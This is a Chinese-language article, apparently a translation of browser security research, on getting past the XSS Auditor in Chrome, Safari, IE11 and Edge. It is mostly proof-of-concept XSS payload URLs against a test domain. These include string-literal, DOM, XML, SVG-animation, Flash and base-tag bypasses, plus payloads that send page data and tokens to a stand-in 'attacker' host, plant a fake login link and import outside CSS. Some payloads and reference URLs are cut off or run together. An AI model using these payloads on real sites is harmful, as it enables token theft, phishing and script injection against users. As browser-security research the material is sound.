XSS,即跨站脚本攻击,是Web程序中常见的漏洞,其原理是恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入其中的Script代码会自动执行,从而达到恶意攻击用户的目的。为了防止这些恶意攻击的发生,现在用户所使用的浏览器内核中一般都有XSS Filter(除Firefox外)。
众所周知,XSS共有三种类型,分别是:反射型、存储型和DOM Based XSS。接下来就为大家简单介绍一下这三种类型的XSS。
XSS Auditor,是一个被加入在了浏览器内核中的安全功能。本篇将为大家讲述如何绕过浏览器中的 XSS Auditor 进行脚本攻击,希望能给大家一些帮助,主要是在Chrome/ Safari/IE11/ Edge浏览器中进行操作的。
发生在一个字符串中的XSS
https://vulnerabledoma.in/bypass/str_literal?q=%22%3Balert(1)//
URL单独成立的XSS(如输入值直接进入a标签的href部分)
https://vulnerabledoma.in/bypass/link?q=javascript:alert(1)
Link
页面有2个以上的注入点
https://vulnerabledoma.in/bypass/text?type=2&q=%60-alert(1)%3C/script%3E%3Cscript%3E%60
`-alert(1)
基于DOM 的XSS和其他document.write()的请求字符串
https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20onerror=alert(1)%3E
在XML页的XSS
https://vulnerabledoma.in/bypass/text?mime=unknown&q=%3C?xml%20ve
rsion=%221.0%22?%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xh
tml%22%3Ealert(1)%3C/script%3E
应当指出,写在页面 Content-Type 顶部的字符串如果未被正确的指定,根据Content Sniffing XML也可以 bypass。
这里没有脚本,但是有已被允许的说明,它们可能用于一定程度上的攻击。
http(s)∶创建一个链接
https://vulnerabledoma.in/bypass/text?q=%3Ca%20href=https://attacker/%3ESession%20expired.%20Please%20login%20again.%3C/a%3E
Session expired. Please login again.
窃取token
例如,你可以通过使用引号(不关闭一侧)等,则有可能包含机密信息的请求,如图像的情况。
https://vulnerabledoma.in/bypass/text?type=8&q=%3Cimg%20src=%22https://attacker/?data=
AAA
任意 CSS 引用
这样不仅掩盖了页面的外观,而且如果在同一页面上包含的机密信息,只使用CSS便可能获得此信息。详细参照URL。
参考URL:
http://www.businessinfo.co.uk/labs/talk/The_Sexy_Assassin.ppthttp://masatokinugawa.l0.cm/2015/10/css-based-attack-abusing-unicode-range.htmlhttps://vulnerabledoma.in/bypass/text?q=%3Cstyle%3E@import%20%27//attacker/test.css%27%3C/style%3E
攻击可能条件:
1.任何一个可以XSS的标签
2.在目标环境下Flash能利用
参考URL:http://masatokinugawa.l0.cm/2016/12/xss12.html
PoC:
https://vulnerabledoma.in/bypass/text?q=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3
SVG动画的属性的利用
攻击的可能条件:
1.任何一个可以XSS的标签
参考URL:https://bugs.chromium.org/p/chromium/issues/detail?id=709365
PoC(Chrome):
https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Canimate%20href=%23x%20attributeName=href%20values=%26%23x3000%3Bjavascript:alert(1)%20/%3E%3Ca%20id=x%3E%3Crect%20width=100%20height=100%20/%3E%3C/a%3E
PoC(Safari):
https://vulnerabledoma.in/bypass/text?q=%3Csvg%20xmlns:xlink=http://www.w3.org/1999/xlink%3E%3Canimate%20xlink:href=%23x%20attributeName=%22xlink:href%22%20values=%22%26%23x3000%3Bjavascript:alert(1)%22%20/%3E%3Ca%20id=x%3E%3Crect%20width=100%20height=100%20/%3E%3C/a%3E
base标签与Flash的利用(仅Safari)
攻击的可能条件:
1.任何一个可以XSS的标签
2.后面跟有whitespace符号或是单双引号的情况
3.在目标范围当中能够利用此flash
参考URL:http://masatokinugawa.l0.cm/2016/05/xss8.html
PoC:(后面没有whitespace符号的情况)
https://vulnerabledoma.in/bypass/text?type=3&q=%3Cembed%20allowscriptaccess=always%20src=/xss.swf%3E%3Cbase%20href=//l0.cm/